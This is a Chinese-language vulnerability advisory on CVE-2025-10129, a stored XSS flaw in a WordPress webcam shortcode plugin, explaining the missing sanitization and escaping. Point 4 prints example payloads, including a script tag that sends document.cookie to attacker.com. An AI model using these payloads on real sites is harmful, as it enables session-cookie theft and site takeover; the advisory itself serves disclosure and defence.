CVE-2025-10129CVE-2025-10129是WordPress Live Webcam Widget & Shortcode插件中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞由Wordfence安全团队的安全研究员发现,并于2025年10月11日公开披露。该插件允许用户在WordPress网站中嵌入实时网络摄像头视频流,CVSS评分为6.4分,属于中危级别。
该漏洞存在于插件的'webcam'短代码(shortcode)功能中。由于插件在处理用户提供的短代码属性时,未能进行充分的输入清理(input sanitization)和输出转义(output escaping),导致经过身份验证的攻击者可以在页面中注入任意恶意的JavaScript脚本代码。这些恶意脚本将被持久化存储在网站数据库中,每当有合法用户访问包含恶意短代码的页面时,注入的脚本就会自动执行。
该漏洞影响该插件的所有版本,最高至1.2版本。由于利用该漏洞需要贡献者级别(contributor-level)及以上的权限,因此普通访客无法直接利用此漏洞。但一旦恶意脚本被执行,攻击者可以窃取用户的会话cookie、进行权限提升、植入后门、重定向用户到恶意网站,甚至完全控制受影响的WordPress网站。该漏洞的危害范围可能波及网站的所有访问者和管理员。
该漏洞的核心问题在于WordPress Live Webcam Widget & Shortcode插件在处理'webcam'短代码属性时缺乏必要的安全防护措施。具体技术原理如下:
1. **短代码机制**:WordPress短代码(Shortcode)是WordPress提供的一种内容嵌入机制,允许通过[shortcode attr1="value1" attr2="value2"]的形式在文章或页面中嵌入特定功能。插件通过注册'webcam'短代码来处理用户输入的属性。
2. **输入清理缺失**:当贡献者或更高权限的用户在文章/页面编辑器中插入带有恶意属性的webcam短代码时,插件未对属性值进行适当的输入清理。WordPress提供的sanitize_text_field()、wp_kses()、esc_attr()等函数可以有效过滤恶意HTML和JavaScript代码,但该插件未使用这些安全函数。
3. **输出转义缺失**:即使输入被存储到数据库中,如果插件在渲染页面时使用esc_html()、esc_attr()等函数对输出进行转义,也能防止XSS攻击。然而,该插件在输出短代码内容时直接输出了原始的用户输入,未进行任何转义处理。
4. **利用方式**:攻击者通过在短代码属性中注入类似"onmouseover='alert(document.cookie)'"或""><script>fetch('https://attacker.com/?c='+document.cookie)</script>"这样的恶意代码,当其他用户访问包含该短代码的页面时,恶意脚本将在受害者的浏览器上下文中执行。
5. **权限要求**:该漏洞需要贡献者级别及以上权限(PR:L),这意味着攻击者需要先获取一个有效的低权限账户,但一旦获取,攻击门槛非常低。